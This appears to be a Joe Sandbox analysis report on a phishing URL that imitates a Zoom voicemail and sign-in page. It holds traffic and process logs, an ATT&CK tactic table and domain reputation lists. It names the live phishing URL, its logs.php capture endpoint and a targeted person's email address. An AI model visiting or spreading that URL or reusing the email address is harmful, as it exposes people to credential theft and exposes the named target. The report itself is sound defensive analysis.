Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com

Source: unknown

HTTP traffic detected: POST /wp-content/upgrade/zoomvoicemail/chameleon/logs.php HTTP/1.1Host: danse94.comConnection: keep-aliveContent-Length: 60sec-ch-ua-platform: "Windows"X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0Origin: https://danse94.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Mar 2025 23:02:55 GMTContent-Type: application/json; charset=utf-8Content-Length: 2Connection: closex-powered-by: Expressx-content-type-options: nosniffaccess-control-allow-headers: Content-Type,cf-ipcountry,service-version,x-appengine-user-ip,x-forwarded-for, x-ws-collect-type,Authorization, visitorId, _zitokaccess-control-allow-credentials: trueaccess-control-allow-origin: *x-robots-tag: noindex, nofollowetag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"via: 1.1 googlecf-cache-status: DYNAMICServer: cloudflareCF-RAY: 920766c78c05847d-EWRalt-svc: h3=":443"; ma=86400

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,6609634386094091069,1721947909626220489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,6609634386094091069,1721947909626220489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://formatjs.io/docs/react-intl/api#intlshape	0%	Avira URL Cloud	safe
https://sa01cciapi.zoom.us	0%	Avira URL Cloud	safe
https://eu01ccistatic.zoom.us/eu01cci/web-sdk	0%	Avira URL Cloud	safe
https://developers.zoom.us/support/	0%	Avira URL Cloud	safe
https://hybrid-client.zoomdev.us/hybrid-jssdk.browser.latest.js	0%	Avira URL Cloud	safe
https://dg01web.zoom.us	0%	Avira URL Cloud	safe
https://qa01apizva.zoomdev.us	0%	Avira URL Cloud	safe
https://gocampaign.zoom.us	0%	Avira URL Cloud	safe
https://gocciapi.zoom.us	0%	Avira URL Cloud	safe
https://partner.zoom.us/partner-locator/	0%	Avira URL Cloud	safe
https://formatjs.io/docs/getting-started/message-distribution	0%	Avira URL Cloud	safe
https://devlog-gateway.zoomdev.us/nws/join/logger/zccfelog	0%	Avira URL Cloud	safe
http://caligatio.github.com/jsSHA/	0%	Avira URL Cloud	safe
https://ev.zoom.us	0%	Avira URL Cloud	safe
https://ccistatic.zoomgov.com/web-sdk	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
s.dsp-prod.demandbase.com	34.96.71.22	true	false	high
edge12.g.yimg.jp	183.79.249.124	true	false	high
scout.us1.salesloft.com	3.220.103.163	true	false	high
api2.amplitude.com	34.223.185.57	true	false	high
l-0005.l-msedge.net	13.107.42.14	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
cm.g.doubleclick.net	142.250.74.194	true	false	high
st1.zoom.us	52.84.151.38	true	false	high
www.google.com	142.250.185.228	true	false	high
tracking.g2crowd.com	104.18.31.176	true	false	high
edge-log-gateway-web-158ad3d115123922.elb.us-east-2.amazonaws.com	134.224.0.54	true	false	high
ws-assets.zoominfo.com	104.16.117.43	true	false	high
partners-1864332697.us-east-1.elb.amazonaws.com	3.94.48.182	true	false	high
id.rlcdn.com	35.244.174.68	true	false	high
match.adsrvr.org	15.197.193.217	true	false	high
logx.optimizely.com	34.49.241.189	true	false	high
www.ojrq.net	34.95.127.121	true	false	high
star-mini.c10r.facebook.com	157.240.253.35	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
cdn.amplitude.com	18.245.86.69	true	false	high
cdn3.optimizely.com	172.64.152.14	true	false	high
explore.zoom.us	52.84.151.60	true	false	high
d26p066pn2w0s0.cloudfront.net	13.32.27.14	true	false	high
www.linkedin.com.cdn.cloudflare.net	104.18.41.41	true	false	high
googleads.g.doubleclick.net	142.250.184.226	true	false	high
td.doubleclick.net	142.250.185.98	true	false	high
trkn.us	2.21.65.158	true	false	high
cdn.cookielaw.org	104.18.86.42	true	false	high
a1916.dscg2.akamai.net	88.221.110.136	true	false	high
collectorv.us.tvsquared.com	3.12.190.209	true	false	high
js.zi-scripts.com	104.18.37.212	true	false	high
dart.l.doubleclick.net	142.250.184.230	true	false	high
static.cloudflareinsights.com	104.16.80.73	true	false	high
pixel.rubiconproject.net.akadns.net	69.173.144.165	true	false	high
a20673560014.cdn.optimizely.com	104.18.65.57	true	false	high
scout-cdn.salesloft.com.cdn.cloudflare.net	104.16.71.105	true	false	high
dg2iu7dxxehbo.cloudfront.net	18.172.103.101	true	false	high
adservice.google.com	142.250.185.98	true	false	high
insight.adsrvr.org	52.223.40.198	true	false	high
scontent.xx.fbcdn.net	157.240.253.1	true	false	high
tag.demandbase.com	18.245.46.44	true	false	high
danse94.com	172.67.196.186	true	true	unknown
code.jquery.com	151.101.2.137	true	false	high
utt.impactcdn.com	35.186.249.72	true	false	high
d9o98qip09qtv.cloudfront.net	52.84.151.54	true	false	unknown
edge-log-gateway-web-2f8111e8e5387748.elb.us-east-1.amazonaws.com	170.114.65.138	true	false	high
tracking-api.g2.com	104.16.187.41	true	false	high
ws.zoominfo.com	104.16.117.43	true	false	high
ad.doubleclick.net	216.58.206.38	true	false	high
zoom.us	170.114.52.2	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
dsum-sec.casalemedia.com	104.18.27.193	true	false	high
api.company-target.com	18.66.102.75	true	false	high
zoom.sjv.io	35.227.211.136	true	false	high
ib.anycast.adnxs.com	185.89.210.82	true	false	high
geolocation.onetrust.com	172.64.155.119	true	false	high
scout.salesloft.com	unknown	unknown	false	high
scout-cdn.salesloft.com	unknown	unknown	false	high
st3.zoom.us	unknown	unknown	false	high
collector-29673.us.tvsquared.com	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high
9513928.fls.doubleclick.net	unknown	unknown	false	high
log-gateway.zoom.us	unknown	unknown	false	high
js.adsrvr.org	unknown	unknown	false	high
us01ccistatic.zoom.us	unknown	unknown	false	high
s.company-target.com	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
px.ads.linkedin.com	unknown	unknown	false	high
partners.tremorhub.com	unknown	unknown	false	high
st2.zoom.us	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
www.linkedin.com	unknown	unknown	false	high
s.yimg.jp	unknown	unknown	false	high
snap.licdn.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high

Name	Malicious	Reputation
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c	false	high
https://trkn.us/pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=1837308645	false	high
https://st1.zoom.us/static/6.3.32395/css/all.min.css	false	high
https://js.zi-scripts.com/unified/v1/master/getSubscriptions	false	high
https://cdn.amplitude.com/libs/analytics-browser-gtm-wrapper-3.9.0.js.br	false	high
https://tracking.g2crowd.com/attribution_tracking/conversions/591.js?p=https://zoom.us/signin	false	high
https://st3.zoom.us/static/6.3.32395/fonts/news/almaden-sans/AlmadenSans-SemiBold-WebXL.woff2	false	high
https://www.linkedin.com/px/li_sync?redirect=https%3A%2F%2Fpx.ads.linkedin.com%2Fcollect%3Fv%3D2%26fmt%3Djs%26pid%3D1476716%26time%3D1741993369691%26li_adsId%3D672e0618-ccf5-49dc-80ca-39d838ec8411%26url%3Dhttps%253A%252F%252Fzoom.us%252Fsignin%2523%252Flogin%26cookiesTest%3Dtrue%26liSync%3Dtrue	false	high
https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=8001093563747474802&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c	false	high
https://js.adsrvr.org/up_loader.1.1.0.js	false	high
https://st3.zoom.us/static/6.3.32395/js/app/market_onetrust_cookie.min.js	false	high
https://cdn.cookielaw.org/scripttemplates/6.21.0/otBannerSdk.js	false	high
https://st2.zoom.us/static/6.3.32395/js/app/optimizely/helper.min.js	false	high
https://st3.zoom.us/static/6.3.32395/css/fonts/suisse.min.css	false	high
https://connect.facebook.net/signals/config/4633436110010443?v=2.9.187&r=stable&domain=zoom.us&hme=9d6c2cc137748d003f279fac8d52b2defc993e1177ef802e0d5b230c72882031&ex_m=71%2C123%2C108%2C112%2C62%2C4%2C101%2C70%2C16%2C98%2C90%2C51%2C55%2C177%2C180%2C192%2C188%2C189%2C191%2C29%2C102%2C53%2C78%2C190%2C172%2C175%2C185%2C186%2C193%2C134%2C41%2C198%2C195%2C196%2C34%2C147%2C15%2C50%2C202%2C201%2C136%2C18%2C40%2C1%2C43%2C66%2C67%2C68%2C72%2C94%2C17%2C14%2C97%2C93%2C92%2C109%2C52%2C111%2C39%2C110%2C30%2C95%2C26%2C173%2C176%2C144%2C87%2C57%2C85%2C33%2C74%2C0%2C96%2C32%2C28%2C83%2C84%2C89%2C47%2C46%2C88%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C58%2C63%2C65%2C76%2C54%2C103%2C27%2C77%2C9%2C8%2C81%2C48%2C21%2C105%2C104%2C106%2C99%2C10%2C20%2C3%2C38%2C75%2C19%2C5%2C91%2C82%2C44%2C35%2C86%2C2%2C36%2C64%2C42%2C107%2C45%2C80%2C69%2C113%2C61%2C60%2C31%2C100%2C59%2C56%2C49%2C79%2C73%2C24%2C114	false	high
https://api2.amplitude.com/2/httpapi	false	high
https://cdn.cookielaw.org/scripttemplates/otSDKStub.js	false	high
https://px.ads.linkedin.com/wa/	false	high
https://st1.zoom.us/static/6.3.32395/js/lib/vue/advanced/notification/notification.min.js	false	high
https://st2.zoom.us/static/6.3.32395/js/lib/jsSHA/sha256.min.js	false	high
https://st1.zoom.us/fe-static/fe-signup-login-active/js/app.1b7582a2.js	false	high
https://ws.zoominfo.com/formcomplete-v2/forms	false	high
https://zoom.us/pricing?irclickid=yg8R6d0wMxycR5rytU2hMVxJUks1L2RYU257TY0&irgwc=1&utm_source=&utm_medium=affiliate&zcid=&utm_campaign=Media%20Source%20Tracking%20Ad&utm_content=	false	high
https://tag.demandbase.com/yctzT6hf.min.js	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://formatjs.io/docs/react-intl/api#intlshape	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://www.zoom.com/en/products/voip-phone/features/provider-exchange/	chromecache_201.1.dr	false		high
https://us01ccistatic.zoom.us/us01cci/web-sdk	chromecache_205.1.dr	false		high
https://file-paa.zoom.us/rBkRPqUSRhiyqWif7xDzSQ/MS4yLq5r1zxMsYt_n1-rs5hBS2XO4A2tC8P0gRvN-iDYqJD5/1b0	chromecache_201.1.dr	false		high
https://www.zoom.com/en/products/business-services/	chromecache_201.1.dr	false		high
https://gocciapi.zoom.us	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://st1.zoom.us/homepage/publish/images/product-revenue-accelerator-icon.svg	chromecache_201.1.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_183.1.dr	false		high
https://st1.zoom.us/homepage/publish/images/product-clip-icon.svg	chromecache_201.1.dr	false		high
https://qa01apizva.zoomdev.us	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://sa01cciapi.zoom.us	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://media.zoom.com/images/assets/Resources-VirtualBG.png/Zz01MTc3YTRkNmE2YTExMWVmOWEyNTMyZDUxNWJ	chromecache_201.1.dr	false		high
https://www.zoom.com/en/audiences/marketing-events/	chromecache_201.1.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_199.1.dr	false		high
https://www.zoom.com/en/ai-assistant/	chromecache_201.1.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_183.1.dr	false		high
http://getbootstrap.com)	chromecache_177.1.dr	false		high
https://hcaptcha.com/terms	chromecache_146.1.dr	false		high
https://us01cci.zoom.us	chromecache_205.1.dr	false		high
https://www.zoom.com/en/products/voip-phone/hardware/	chromecache_201.1.dr	false		high
https://hybrid-client.zoomdev.us/hybrid-jssdk.browser.latest.js	chromecache_201.1.dr	false	Avira URL Cloud: safe	unknown
https://www.zoom.com/en/small-business/workplace/	chromecache_201.1.dr	false		high
https://dg01web.zoom.us	chromecache_201.1.dr	false	Avira URL Cloud: safe	unknown
https://developers.zoom.us/support/	chromecache_201.1.dr	false	Avira URL Cloud: safe	unknown
https://media.zoom.com/images/assets/developer-marketplace.svg/Zz02OWE4YzY1OGVhOTUxMWVkODU1MWU2NWI4N	chromecache_201.1.dr	false		high
https://zoom.us/signup	chromecache_201.1.dr	false		high
https://eu01ccistatic.zoom.us/eu01cci/web-sdk	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://www.zoom.com/en/lp/phone/top10/	chromecache_201.1.dr	false		high
https://media.zoom.com/images/assets/cc-contact-center.svg/Zz01OTgzNDIwMmVhOGMxMWVkYWEwOWNhMjZkMjg1O	chromecache_201.1.dr	false		high
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid	chromecache_215.1.dr	false		high
https://www.zoom.us/signin	chromecache_201.1.dr	false		high
https://jsperf.com/getall-vs-sizzle/2	chromecache_183.1.dr	false		high
https://cdn.optimizely.com/img/20673560014/9c6c560ee8614270a07edf1df9c5483a.png	chromecache_201.1.dr	false		high
https://file-paa.zoom.us/VrcyryqORpezX4RSo0Nuxw/MS4yLt7soJFBCy-RQWg-GKhxZ_DUYkiBYNy6LAYca6t__6zk/179	chromecache_201.1.dr	false		high
https://www.zoom.com/en/products/single-session-events/	chromecache_201.1.dr	false		high
https://www.zoom.com/en/contact/contact-sales/	chromecache_201.1.dr	false		high
https://file-paa.zoom.us/FzY8XBWBRNK68etsjKCuiA/MS4yLmfyz6T0Hs3r5jN7zOxF9VvI9jIsg00gymXSaXeo4TUH/3c1	chromecache_201.1.dr	false		high
https://www.zoom.com/en/audiences/cx/	chromecache_201.1.dr	false		high
https://gocampaign.zoom.us	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://www.zoom.com/en/lp/meetings/free-user-sign-up/	chromecache_201.1.dr	false		high
https://app.zoom.us/wc/whiteboards	chromecache_201.1.dr	false		high
https://github.com/piwik/piwik/blob/master/js/piwik.js	chromecache_251.1.dr	false		high
https://www.zoom.com/en/blog/zoom-phone-reliability-zoom-node/	chromecache_201.1.dr	false		high
https://www.zoom.com/en/industry/education/	chromecache_201.1.dr	false		high
https://partner.zoom.us/partner-locator/	chromecache_201.1.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_173.1.dr	false		high
https://www.zoom.us/pricing	chromecache_201.1.dr	false		high
https://app.zoom.us/wc/phone	chromecache_201.1.dr	false		high
https://sizzlejs.com/	chromecache_183.1.dr	false		high
https://formatjs.io/docs/getting-started/message-distribution	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://images2.welcomesoftware.com/assets/phone-overview-hero.png/Zz1mZDY5YjNiNGQyZTYxMWVkYTVlZjcyN	chromecache_201.1.dr	false		high
https://www.zoom.com/en/products/workforce-engagement-management	chromecache_201.1.dr	false		high
https://www.zoom.com/en/products/virtual-agent	chromecache_201.1.dr	false		high
https://www.zoom.com/en/lp/phone/forbesadvisor/	chromecache_201.1.dr	false		high
https://st1.zoom.us/homepage/publish/images/product-workforce-engagement-icon.svg	chromecache_201.1.dr	false		high
https://ccistatic.zoomgov.com/web-sdk	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://bugs.jquery.com/ticket/12359	chromecache_183.1.dr	false		high
https://st1.zoom.us/homepage/publish/images/product-contact-center-icon.svg	chromecache_201.1.dr	false		high
https://www.youtube.com/watch?v=hxJL0adZUQg	chromecache_201.1.dr	false		high
https://www.zoom.com/en/products/virtual-meetings/	chromecache_201.1.dr	false		high
https://images2.welcomesoftware.com/assets/meetings.svg/Zz05OTIwYjYzYWVkY2QxMWVkOTQwZmFlNjAyZTg4NjZi	chromecache_201.1.dr	false		high
https://www.zoom.com/en/zoom-apps/	chromecache_201.1.dr	false		high
https://us01cciapi.zoom.us	chromecache_205.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_183.1.dr	false		high
https://devlog-gateway.zoomdev.us/nws/join/logger/zccfelog	chromecache_205.1.dr	false	Avira URL Cloud: safe	unknown
https://images3.cmp.optimizely.com/assets/zoom-virtual-backgrounds%402x.png/Zz1iYTU4NGE2MGM0MjkxMWVl	chromecache_201.1.dr	false		high
https://zoom.us/opc/buy?plan=zonebundle&from=zonebundle_zonebizpzvu&period=annual&addon_period=annua	chromecache_201.1.dr	false		high
https://media.zoom.com/images/assets/AICompanion-WithEmblem.svg/Zz01NjY3MWVkMmYzNmMxMWVmODFlY2NlZDBi	chromecache_201.1.dr	false		high
https://ev.zoom.us	chromecache_201.1.dr	false	Avira URL Cloud: safe	unknown
https://www.zoom.com/en/products/meeting-rooms/features/workspace/	chromecache_201.1.dr	false		high
https://play.google.com/store/apps/details?id=us.zoom.videomeetings&hl=en_US	chromecache_201.1.dr	false		high
https://media.zoom.com/images/assets/mark_product_events.svg/Zz0wNDhmOTg1NGRiY2MxMWVlYjQ3MWQyNTdlYzN	chromecache_201.1.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_183.1.dr	false		high
https://www.zoom.com/en/products/team-chat/	chromecache_201.1.dr	false		high
http://caligatio.github.com/jsSHA/	chromecache_184.1.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/pagead/1p-user-list/927508153/?random	chromecache_191.1.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
52.84.151.63	unknown	United States	16509	AMAZON-02US	false
13.32.27.14	d26p066pn2w0s0.cloudfront.net	United States	7018	ATT-INTERNET4US	false
52.84.151.60	explore.zoom.us	United States	16509	AMAZON-02US	false
104.16.117.43	ws-assets.zoominfo.com	United States	13335	CLOUDFLARENETUS	false
104.16.80.73	static.cloudflareinsights.com	United States	13335	CLOUDFLARENETUS	false
170.114.65.138	edge-log-gateway-web-2f8111e8e5387748.elb.us-east-1.amazonaws.com	United States	22347	DORSEY-WHITNEYUS	false
34.95.127.121	www.ojrq.net	United States	15169	GOOGLEUS	false
52.84.151.56	unknown	United States	16509	AMAZON-02US	false
52.84.151.54	d9o98qip09qtv.cloudfront.net	United States	16509	AMAZON-02US	false
34.49.241.189	logx.optimizely.com	United States	2686	ATGS-MMD-ASUS	false
104.21.41.237	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.184.226	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
18.245.86.69	cdn.amplitude.com	United States	16509	AMAZON-02US	false
18.245.46.44	tag.demandbase.com	United States	16509	AMAZON-02US	false
88.221.110.136	a1916.dscg2.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
69.173.144.165	pixel.rubiconproject.net.akadns.net	United States	26667	RUBICONPROJECTUS	false
104.18.87.42	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.184.230	dart.l.doubleclick.net	United States	15169	GOOGLEUS	false
104.18.65.57	a20673560014.cdn.optimizely.com	United States	13335	CLOUDFLARENETUS	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
104.16.187.41	tracking-api.g2.com	United States	13335	CLOUDFLARENETUS	false
157.240.0.35	unknown	United States	32934	FACEBOOKUS	false
34.223.185.57	api2.amplitude.com	United States	16509	AMAZON-02US	false
104.16.118.43	unknown	United States	13335	CLOUDFLARENETUS	false
172.64.155.119	geolocation.onetrust.com	United States	13335	CLOUDFLARENETUS	false
13.107.42.14	l-0005.l-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.16.71.105	scout-cdn.salesloft.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
172.67.196.186	danse94.com	United States	13335	CLOUDFLARENETUS	true
3.94.48.182	partners-1864332697.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
172.217.18.102	unknown	United States	15169	GOOGLEUS	false
35.244.174.68	id.rlcdn.com	United States	15169	GOOGLEUS	false
157.240.253.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
52.223.40.198	insight.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
104.18.31.176	tracking.g2crowd.com	United States	13335	CLOUDFLARENETUS	false
95.101.182.50	unknown	European Union	20940	AKAMAI-ASN1EU	false
172.217.18.100	unknown	United States	15169	GOOGLEUS	false
18.66.102.75	api.company-target.com	United States	3	MIT-GATEWAYSUS	false
216.58.206.70	unknown	United States	15169	GOOGLEUS	false
13.32.27.77	unknown	United States	7018	ATT-INTERNET4US	false
18.172.103.101	dg2iu7dxxehbo.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
3.220.103.163	scout.us1.salesloft.com	United States	14618	AMAZON-AESUS	false
216.58.206.38	ad.doubleclick.net	United States	15169	GOOGLEUS	false
183.79.249.124	edge12.g.yimg.jp	Japan	24572	YAHOO-JP-AS-APYahooJapanJP	false
3.12.190.209	collectorv.us.tvsquared.com	United States	16509	AMAZON-02US	false
15.197.193.217	match.adsrvr.org	United States	7430	TANDEMUS	false
52.84.151.38	st1.zoom.us	United States	16509	AMAZON-02US	false
104.18.37.212	js.zi-scripts.com	United States	13335	CLOUDFLARENETUS	false
185.89.210.82	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
172.64.152.14	cdn3.optimizely.com	United States	13335	CLOUDFLARENETUS	false
52.206.41.94	unknown	United States	14618	AMAZON-AESUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
142.250.74.194	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
2.21.65.158	trkn.us	European Union	20940	AKAMAI-ASN1EU	false
104.18.27.193	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
104.18.41.41	www.linkedin.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
170.114.52.2	zoom.us	United States	22347	DORSEY-WHITNEYUS	false
34.217.162.120	unknown	United States	16509	AMAZON-02US	false
142.250.186.162	unknown	United States	15169	GOOGLEUS	false
134.224.0.54	edge-log-gateway-web-158ad3d115123922.elb.us-east-2.amazonaws.com	United States	3479	PEACHNET-AS1US	false
104.18.26.193	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
35.227.211.136	zoom.sjv.io	United States	15169	GOOGLEUS	false
52.87.64.105	unknown	United States	14618	AMAZON-AESUS	false
35.186.249.72	utt.impactcdn.com	United States	15169	GOOGLEUS	false
157.240.253.1	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
52.84.151.43	unknown	United States	16509	AMAZON-02US	false
172.64.150.44	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.86.42	cdn.cookielaw.org	United States	13335	CLOUDFLARENETUS	false
157.240.251.35	unknown	United States	32934	FACEBOOKUS	false
142.250.185.98	td.doubleclick.net	United States	15169	GOOGLEUS	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638903
Start date and time:	2025-03-15 00:01:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://danse94.com/wp-content/upgrade/zoomvoicemail/chameleon/#rbaldridge@ah4r.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@29/214@172/74

